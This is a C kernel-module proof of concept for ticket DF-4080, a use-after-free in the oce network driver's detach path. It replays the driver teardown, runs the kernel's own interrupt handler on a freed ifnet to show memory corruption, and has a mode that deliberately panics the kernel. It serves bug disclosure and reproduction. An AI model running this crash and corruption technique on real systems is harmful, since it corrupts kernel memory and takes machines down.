/*
 * DF-4080 PoC rig — oce_detach() frees the ifnet (if_free, oce_if.c:340)
 * while interrupts are still enabled and EQ0 deliberately re-armed by the
 * tail of oce_if_deactivate (oce_if.c:2017-2018), i.e. BEFORE
 * oce_hw_shutdown() disables interrupts (oce_if.c:342 -> oce_hw.c:345).
 * An async MCC event in that window reaches, through the REAL interrupt
 * path, oce_mq_handler -> process_link_state -> if_link_state_change on the
 * FREED ifnet (and oce_rq/oce_wq handlers writing ifnet stats through
 * sc->ifp) — a use-after-free triggered by detach/kldunload racing firmware.
 *
 * THE REAL PRODUCTION CODE IS DISPATCHED:
 *   - oce_hw_intr_enable(), oce_arm_eq(), ether_ifattach(), ether_ifdetach(),
 *     if_free(), oce_mq_handler(), oce_rq_handler(), oce_alloc_rx_bufs(),
 *     oce_create_ring_buffer(), oce_free_posted_rxbuf(),
 *     oce_destroy_ring_buffer() are all referenced as EXTERNAL symbols and
 *     bound by the kernel loader to the running kernel's own code
 *     (`device oce` is in X86_64_GENERIC).
 *   - the static taskqueue body oce_intr() (oce_if.c:553) — exactly what
 *     oce_fast_isr enqueues (oce_if.c:668) and the taskqueue thread runs —
 *     is resolved from /boot/kernel/kernel with nm(1) and injected into
 *     this KLD through a sysctl; the rig then calls THE KERNEL'S OWN
 *     oce_intr(ii, 1): nothing about it is recompiled here.
 *
 * The rig reconstructs the post-attach driver state (BE3 softc, real busdma
 * EQ/CQ/RQ rings from the kernel's own oce_create_ring_buffer(), real posted
 * RX clusters, a REAL ether_ifattach()ed ifnet, MMIO BAR stand-in pages),
 * then replays the production teardown sequence verbatim:
 *
 *   1. the tail of oce_if_deactivate (oce_if.c:2014-2018), REAL calls:
 *        oce_hw_intr_enable(sc);
 *        oce_arm_eq(sc, sc->eq[0]->eq_id, 0, TRUE, FALSE);
 *      -> observable: HOSTINTR_MASK (bit 29) set in the CFG-BAR stand-in at
 *         PCICFG_INTR_CTRL (0xfc) and the EQ doorbell written (DB 0x120):
 *         interrupts ENABLED, EQ0 ARMED.
 *   2. the oce_detach ordering (oce_if.c:338-342), REAL calls:
 *        ether_ifdetach(sc->ifp);
 *        if_free(sc->ifp);          <-- ifnet FREED here
 *        [oce_hw_shutdown(sc) would disable interrupts only AFTER this]
 *   3. the late async event: firmware has DMA-written a link-state async
 *      CQE into the MQ CQ ring and raised EQ0; the taskqueue thread runs
 *      the REAL oce_intr(&ii, 1) -> walks the EQ -> dispatches
 *      eq->cq[i]->cq_handler (REAL oce_mq_handler on the MQ CQ, REAL
 *      oce_rq_handler on the RX CQ) -> process_link_state ->
 *      if_link_state_change(sc->ifp == FREED ifnet), plus
 *      sc->ifp->if_ierrors++ / sc->ifp->if_ipackets++ /
 *      sc->ifp->if_input(sc->ifp,...) through the freed pointer.
 *
 * probe mode (survives):  proves the window end-to-end on freed-but-intact
 *   memory: the REAL handlers run AFTER if_free, sc->link_status flips to
 *   UP via the freed ifnet, the freed region's ifi_ierrors/ifi_ipackets are
 *   incremented THROUGH sc->ifp (UAF WRITE), a chain is delivered to
 *   if_input via the freed ifnet, and afterwards the freed ifnet slot is
 *   shown to be immediately re-usable by an unrelated kmalloc(M_IFNET).
 * panic mode:  before the late dispatch, the freed ifnet's slot is really
 *   re-allocated (kmalloc(M_IFNET, sizeof(arpcom), M_ZERO) — the same
 *   allocation if_alloc() itself performs; the M_ZERO wipes if_input);
 *   the REAL late oce_rx then performs sc->ifp->if_input(sc->ifp, m,
 *   NULL, -1) (oce_if.c:1373) through the re-owned memory -> indirect
 *   call to its new content (NULL) -> Fatal trap 12 -> kernel panic.
 *   This is a UAF crash through a legitimate allocator state — no
 *   synthetic poison.
 *
 * Usage (root):
 *   kldload ./df4080_oce_poc.ko
 *   sysctl -w kern.df4080.isr=0x$(nm /boot/kernel/kernel | awk '/ t oce_intr$/{print $1}')
 *   sysctl -w kern.df4080.go=1                 # probe (survives)
 *   # panic: sysctl -w kern.df4080.panic=1; sysctl -w kern.df4080.go=1
 *
 * Expected on stock /usr/src:
 *   probe: "HOSTINTR_MASK set", "EQ doorbell armed", "ifnet ... FREED",
 *          "*** LATE oce_intr DISPATCH ... ON FREED IFNET ***",
 *          link_status=UP, ifi_ierrors before/after (+1 through freed
 *          ifnet), slot-reuse alias, chain delivered through freed ifnet.
 *   panic: freed ifnet slot really re-allocated (M_ZERO) -> REAL oce_rx
 *          calls if_input through the re-owned memory -> Fatal trap 12
 *          at the reallocated if_input content -> kernel panic.
 */

#include <sys/param.h>
#include <sys/endian.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/serialize.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/libkern.h>

#include <sys/bus.h>
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <net/if.h>
#include <net/if_arp.h>		/* struct arpcom */
#include <net/if_var.h>
#include <net/ethernet.h>

#include <dev/netif/oce/oce_if.h>	/* REAL driver structs + globals */

/* ------------------------------------------------------------------ */
/* REAL static kernel handler, resolved from /boot/kernel/kernel via nm */
/* ------------------------------------------------------------------ */
static void (*p_oce_intr)(void *arg, int pending);

static int df4080_panic;
static int df4080_ran;

SYSCTL_NODE(_kern, OID_AUTO, df4080, CTLFLAG_RW, 0, "DF-4080 PoC rig");

/*
 * Address-injection sysctls take hex STRINGS ("ffffffff805c7590"):
 * sysctl_handle_int/long clamp values above INT64_MAX, which is where
 * every static-kernel address lives on x86_64.
 */
static int
df4080_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target)
{
	char buf[32];
	const char *s;
	int error, len;

	ksnprintf(buf, sizeof(buf), "0x%016llx",
	    (unsigned long long)(uintptr_t)*target);
	error = SYSCTL_OUT(req, buf, strlen(buf) + 1);
	if (error || req->newptr == NULL)
		return (error);
	len = req->newlen - req->newidx;
	if (len >= (int)sizeof(buf))
		return (EINVAL);
	error = SYSCTL_IN(req, buf, len);
	if (error)
		return (error);
	buf[len] = '\0';
	s = buf;
	if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X'))
		s += 2;
	*target = (void *)(uintptr_t)strtoul(s, NULL, 16);
	return (0);
}

static int
df4080_sysctl_isr(SYSCTL_HANDLER_ARGS)
{
	return (df4080_sysctl_addr(oidp, arg1, arg2, req, (void **)&p_oce_intr));
}
SYSCTL_PROC(_kern_df4080, OID_AUTO, isr,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4080_sysctl_isr, "A",
    "kernel address of static oce_intr() (hex string)");

static struct lwkt_serialize df4080_ser;
static struct ifdata_pcpu *df4080_ifdata;
static void *df4080_devcfg, *df4080_csr, *df4080_db;
static uint8_t df4080_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 };

static u_int df4080_deliveries;

/* production if_input stand-in: records deliveries through freed ifnets */
static void
df4080_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi,
    int cpuid)
{
	kprintf("df4080: *** chain DELIVERED to if_input through ifp=%p"
	    " (the FREED ifnet) — REAL oce_rx dispatched a packet on a"
	    " freed ifnet (oce_if.c:1373) ***\n", ifp);
	df4080_deliveries++;
	m_freem(m);
}

static int
df4080_run(void)
{
	POCE_SOFTC sc;
	struct oce_rq *rq;
	struct oce_cq *rqcq, *mqcq;
	struct oce_mq *mq;
	struct oce_eq *eq;
	static OCE_INTR_INFO ii;	/* what oce_fast_isr/oce_alloc_intr
					 * pass to the task */
	struct ifnet *ifp, *dead_ifp;
	struct oce_mq_cqe *mcqe;
	struct oce_nic_rx_cqe *rcqe;
	struct oce_eqe *eqe;
	void *new_owner = NULL;
	u_long ierr_before, ipk_before;
	uint32_t reg;
	int rc, i;

	if (p_oce_intr == NULL) {
		kprintf("df4080: kern.df4080.isr not set — resolve with:\n"
		    "  sysctl -w kern.df4080.isr=0x$(nm /boot/kernel/kernel |"
		    " awk '/ t oce_intr$/{print $1}')\n");
		return (EINVAL);
	}
	kprintf("df4080: dispatching REAL kernel oce_intr()=%p and REAL"
	    " cq handlers oce_mq_handler()=%p oce_rq_handler()=%p\n",
	    p_oce_intr, &oce_mq_handler, &oce_rq_handler);

	df4080_ifdata = kmalloc(64 * sizeof(*df4080_ifdata), M_TEMP,
	    M_WAITOK | M_ZERO);
	df4080_devcfg = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);
	df4080_csr = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);
	df4080_db = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);

	sc = kmalloc(sizeof(OCE_SOFTC), M_DEVBUF, M_WAITOK | M_ZERO);
	rq = kmalloc(sizeof(struct oce_rq), M_DEVBUF, M_WAITOK | M_ZERO);
	rqcq = kmalloc(sizeof(struct oce_cq), M_DEVBUF, M_WAITOK | M_ZERO);
	mqcq = kmalloc(sizeof(struct oce_cq), M_DEVBUF, M_WAITOK | M_ZERO);
	mq = kmalloc(sizeof(struct oce_mq), M_DEVBUF, M_WAITOK | M_ZERO);
	eq = kmalloc(sizeof(struct oce_eq), M_DEVBUF, M_WAITOK | M_ZERO);

	/* post-oce_attach softc state (BE3: CFG+CSR+DB BARs) */
	sc->flags = OCE_FLAGS_BE3;
	sc->tx_ring_size = OCE_TX_RING_SIZE;
	sc->rx_ring_size = OCE_RX_RING_SIZE;
	sc->rq_frag_size = OCE_RQ_BUF_SIZE;
	sc->devcfg_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->devcfg_bhandle = (bus_space_handle_t)(uintptr_t)df4080_devcfg;
	sc->csr_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->csr_bhandle = (bus_space_handle_t)(uintptr_t)df4080_csr;
	sc->db_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->db_bhandle = (bus_space_handle_t)(uintptr_t)df4080_db;
	LOCK_CREATE(&sc->dev_lock, "df4080_dev_lock");
	lwkt_serialize_init(&df4080_ser);

	/* ifnet: REAL full attach, as oce_attach_ifp + ether_ifattach leave it */
	ifp = sc->ifp = if_alloc(IFT_ETHER);
	ifp->if_softc = sc;
	strlcpy(ifp->if_xname, "dfoce0", sizeof(ifp->if_xname));
	ifp->if_serializer = &df4080_ser;
	ifp->if_data_pcpu = df4080_ifdata;
	ifp->if_capenable = 0;
	ether_ifattach(ifp, df4080_mac, &df4080_ser);	/* REAL */
	ifp->if_input = df4080_input;			/* after ether_ifattach */

	/* RX queue: VERBATIM oce_rq_init DMA replay (oce_queue.c:429-455) */
	rq->cfg.q_len = OCE_RX_RING_SIZE;
	rq->cfg.frag_size = OCE_RQ_BUF_SIZE;
	rq->cfg.mtu = OCE_MAX_JUMBO_FRAME_SIZE;
	rq->parent = (void *)sc;
	rc = bus_dma_tag_create(NULL, 1, 0,
				BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR,
				OCE_MAX_RX_SIZE, 1, PAGE_SIZE, 0, &rq->tag);
	if (rc)
		goto out;
	for (i = 0; i < OCE_RQ_PACKET_ARRAY_SIZE; i++) {
		rc = bus_dmamap_create(rq->tag, 0, &rq->pckts[i].map);
		if (rc)
			goto out;
	}
	rq->ring = oce_create_ring_buffer(sc, OCE_RX_RING_SIZE,
					  sizeof(struct oce_nic_rqe));
	if (rq->ring == NULL)
		goto out;
	sc->rq[0] = rq;
	sc->nrqs = 1;

	rqcq->parent = (void *)sc;
	rqcq->cq_id = 1;
	rqcq->cb_arg = (void *)rq;
	rqcq->cq_handler = oce_rq_handler;		/* REAL handler */
	rqcq->ring = oce_create_ring_buffer(sc, CQ_LEN_256,
					    sizeof(struct oce_nic_rx_cqe));
	if (rqcq->ring == NULL)
		goto out;
	rq->cq = rqcq;

	/* MQ (async event) queue + CQ, as oce_mq_create wired it */
	mq->parent = (void *)sc;
	mq->cq = mqcq;
	mqcq->parent = (void *)sc;
	mqcq->cq_id = 2;
	mqcq->cb_arg = (void *)mq;
	mqcq->cq_handler = oce_mq_handler;		/* REAL handler */
	mqcq->ring = oce_create_ring_buffer(sc, CQ_LEN_256,
					    sizeof(struct oce_mq_cqe));
	if (mqcq->ring == NULL)
		goto out;
	sc->mq = mq;

	/* EQ0 with the MQ CQ (and, in probe mode, the RX CQ) attached */
	eq->eq_id = 0;
	eq->parent = (void *)sc;
	eq->ring = oce_create_ring_buffer(sc, EQ_LEN_256, sizeof(struct oce_eqe));
	if (eq->ring == NULL)
		goto out;
	sc->eq[0] = eq;
	sc->neqs = 1;
	eq->cq[0] = mqcq;
	eq->cq[1] = rqcq;
	eq->cq_valid = 2;

	ii.sc = sc;				/* as oce_alloc_intr wired it */
	ii.eq = eq;

	if (oce_alloc_rx_bufs(rq, 8))		/* REAL posting */
		goto out;

	/*
	 * Firmware delivers: one EQE on EQ0, one link-state async CQE on the
	 * MQ CQ, and (probe mode) one error RX CQE on the RX CQ.
	 */
	eqe = (struct oce_eqe *)eq->ring->dma.ptr;
	eqe[0].evnt = 1;

	mcqe = (struct oce_mq_cqe *)mqcq->ring->dma.ptr;
	bzero(mcqe, sizeof(*mcqe));
	mcqe->u0.s.valid = 1;
	mcqe->u0.s.async_event = 1;
	mcqe->u0.s.event_type = ASYNC_EVENT_CODE_LINK_STATE;	/* 0x1 */
	((struct oce_async_cqe_link_state *)mcqe)->u0.s.link_status =
	    ASYNC_EVENT_LINK_UP;				/* 0x1 */
	((struct oce_async_cqe_link_state *)mcqe)->u0.s.speed = 4; /* 10G */

	rcqe = (struct oce_nic_rx_cqe *)rqcq->ring->dma.ptr;
	bzero(rcqe, sizeof(*rcqe));
	rcqe->u0.s.pkt_size = 64;
	rcqe->u0.s.num_fragments = 1;
	rcqe->u0.s.valid = 1;
	if (!df4080_panic)
		rcqe->u0.s.error = 1;	/* probe: if_ierrors++ then deliver */

	/* ============================================================= */
	/* [1] REAL tail of oce_if_deactivate (oce_if.c:2014-2018):       */
	/*     "we need to get MCC async events": enable intrs + arm EQ0  */
	/* ============================================================= */
	LOCK(&sc->dev_lock);			/* as oce_detach does (327) */
	kprintf("df4080: [oce_if_deactivate tail, oce_if.c:2017-2018]"
	    " REAL oce_hw_intr_enable + oce_arm_eq(eq0, rearm=TRUE)\n");
	oce_hw_intr_enable(sc);			/* REAL */
	oce_arm_eq(sc, eq->eq_id, 0, TRUE, FALSE);	/* REAL */
	UNLOCK(&sc->dev_lock);
	reg = bus_space_read_4(sc->devcfg_btag, sc->devcfg_bhandle,
	    PCICFG_INTR_CTRL);
	kprintf("df4080: CFG PCICFG_INTR_CTRL=%#010x -> HOSTINTR_MASK %s —"
	    " interrupts ENABLED\n", reg,
	    (reg & HOSTINTR_MASK) ? "SET" : "clear");
	reg = bus_space_read_4(sc->db_btag, sc->db_bhandle, PD_EQ_DB);
	kprintf("df4080: DB PD_EQ_DB=%#010x — EQ0 doorbell ARMED"
	    " (rearm=1)\n", reg);

	/* ============================================================= */
	/* [2] REAL oce_detach ordering (oce_if.c:338-342):               */
	/*     ether_ifdetach; if_free; [hw_shutdown comes too late]      */
	/* ============================================================= */
	kprintf("df4080: [oce_detach ordering, oce_if.c:338-342]"
	    " REAL ether_ifdetach + if_free — oce_hw_shutdown (intr disable)"
	    " would only run AFTER the free\n");
	ether_ifdetach(ifp);			/* REAL */
	dead_ifp = ifp;
	if_free(ifp);				/* REAL: the ifnet is FREED */
	sc->ifp = dead_ifp;		/* oce_detach leaves sc->ifp set */
	kprintf("df4080: *** ifnet %p FREED by if_free() while interrupts"
	    " are ENABLED and EQ0 ARMED; sc->ifp still points at it, exactly"
	    " as oce_detach leaves it ***\n", dead_ifp);

	ierr_before = dead_ifp->if_data.ifi_ierrors;	/* freed-memory reads */
	ipk_before = dead_ifp->if_data.ifi_ipackets;
	kprintf("df4080: freed ifnet (intact) if_input=%p  ifi_ierrors=%lu"
	    "  ifi_ipackets=%lu\n", dead_ifp->if_input, ierr_before,
	    ipk_before);

	if (df4080_panic) {
		/*
		 * Slot reuse: immediately re-allocate the freed ifnet's
		 * memory the way any unrelated kernel subsystem would
		 * (kmalloc(M_IFNET, sizeof(arpcom), M_ZERO) — exactly what
		 * if_alloc() itself does).  The reallocation zeroes the
		 * block, so the freed ifnet's if_input is now NULL/other
		 * content owned by the new object — the late production
		 * oce_rx will call sc->ifp->if_input(...) straight into it.
		 */
		new_owner = kmalloc(sizeof(struct arpcom), M_IFNET,
		    M_WAITOK | M_ZERO);
		kprintf("df4080: slot reuse: kmalloc(M_IFNET, sizeof(arpcom))"
		    " = %p %s — the freed ifnet's memory is now OWNED by an"
		    " unrelated allocation; its if_input is now %p\n",
		    new_owner,
		    new_owner == (void *)dead_ifp ?
		    "== THE FREED IFNET" : "(different block)",
		    dead_ifp->if_input);
	}

	/* ============================================================= */
	/* [3] the LATE async event: the REAL taskqueue body runs on the  */
	/*     freed ifnet (in production: taskqueue thread dispatched by */
	/*     oce_fast_isr; here: same function, same argument)          */
	/* ============================================================= */
	kprintf("df4080: *** LATE async event: dispatching the REAL"
	    " oce_intr(&ii, 1) (the taskqueue body, oce_if.c:553) —"
	    " the interrupt path is still live on the FREED ifnet ***\n");
	p_oce_intr(&ii, 1);			/* REAL kernel oce_intr */

	/* survived: collect the evidence the handlers left behind */
	kprintf("df4080: after the late dispatch:\n");
	kprintf("df4080:   sc->link_status=%u (%s) — REAL process_link_state"
	    " ran post-free (oce_if.c:2058-2075)\n", sc->link_status,
	    sc->link_status == ASYNC_EVENT_LINK_UP ? "LINK_UP" : "?");
	kprintf("df4080:   MQ CQE dw3 now %#010x (cleared => REAL"
	    " oce_mq_handler consumed the async event, oce_if.c:2125)\n",
	    mcqe->u0.dw[3]);
	kprintf("df4080:   freed ifnet ifi_ierrors: %lu -> %lu"
	    " (UAF WRITE through sc->ifp, oce_if.c:1606)\n",
	    ierr_before, dead_ifp->if_data.ifi_ierrors);
	kprintf("df4080:   freed ifnet ifi_ipackets: %lu -> %lu"
	    " (UAF WRITE through sc->ifp, oce_if.c:1354)\n",
	    ipk_before, dead_ifp->if_data.ifi_ipackets);
	if (new_owner != NULL && new_owner == (void *)dead_ifp) {
		struct ifnet *no = new_owner;
		kprintf("df4080: *** the unrelated allocation at the freed"
		    " ifnet's address now carries the corrupted counters:"
		    " ifi_ierrors=%lu ifi_ipackets=%lu — cross-object"
		    " corruption materialized ***\n",
		    no->if_data.ifi_ierrors, no->if_data.ifi_ipackets);
	}
	kprintf("df4080:   chains delivered through the freed ifnet:"
	    " %u\n", df4080_deliveries);

	if (new_owner == NULL) {
		new_owner = kmalloc(sizeof(struct arpcom), M_IFNET,
		    M_WAITOK | M_ZERO);
		kprintf("df4080: slot-reuse probe AFTER the dispatch:"
		    " kmalloc(M_IFNET, sizeof(arpcom)) = %p %s\n", new_owner,
		    new_owner == (void *)dead_ifp ?
		    "== THE FREED IFNET (the slot is immediately reusable:"
		    " every UAF write above landed in memory that now"
		    " belongs to whoever allocates next)" :
		    "(different block)");
	}
	kprintf("df4080: SURVIVED — post-free interrupt dispatch, UAF"
	    " writes and UAF delivery all demonstrated above\n");

out:
	if (new_owner != NULL)
		kfree(new_owner, M_IFNET);
	oce_free_posted_rxbuf(rq);			/* REAL */
	if (rq->ring)
		oce_destroy_ring_buffer(sc, rq->ring);		/* REAL */
	if (rqcq->ring)
		oce_destroy_ring_buffer(sc, rqcq->ring);		/* REAL */
	if (mqcq->ring)
		oce_destroy_ring_buffer(sc, mqcq->ring);		/* REAL */
	if (eq->ring)
		oce_destroy_ring_buffer(sc, eq->ring);		/* REAL */
	if (rq->tag) {
		for (i = 0; i < OCE_RQ_PACKET_ARRAY_SIZE; i++)
			if (rq->pckts[i].map != NULL)
				bus_dmamap_destroy(rq->tag, rq->pckts[i].map);
		bus_dma_tag_destroy(rq->tag);
	}
	/* sc->ifp was freed in the replayed detach — do NOT free again */
	LOCK_DESTROY(&sc->dev_lock);
	kfree(eq, M_DEVBUF);
	kfree(mq, M_DEVBUF);
	kfree(mqcq, M_DEVBUF);
	kfree(rqcq, M_DEVBUF);
	kfree(rq, M_DEVBUF);
	kfree(sc, M_DEVBUF);
	kfree(df4080_ifdata, M_TEMP);
	kfree(df4080_devcfg, M_TEMP);
	kfree(df4080_csr, M_TEMP);
	kfree(df4080_db, M_TEMP);
	df4080_ran = 1;
	return (0);
}

static int
df4080_sysctl_go(SYSCTL_HANDLER_ARGS)
{
	int error, go = 0;

	error = sysctl_handle_int(oidp, &go, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (go != 1 || df4080_ran)
		return (EPERM);
	return (df4080_run());
}
SYSCTL_PROC(_kern_df4080, OID_AUTO, go,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4080_sysctl_go, "I",
    "replay the oce_detach UAF window (needs kern.df4080.isr set)");

static int
df4080_sysctl_panic(SYSCTL_HANDLER_ARGS)
{
	int error, v = df4080_panic;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df4080_panic = v;
	return (0);
}
SYSCTL_PROC(_kern_df4080, OID_AUTO, panic,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4080_sysctl_panic, "I",
    "1 = re-allocate the freed ifnet slot before the late dispatch (panics)");

static int
df4080_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df4080_mod = { "df4080_oce_poc", df4080_modevent, NULL };
DECLARE_MODULE(df4080_oce_poc, df4080_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
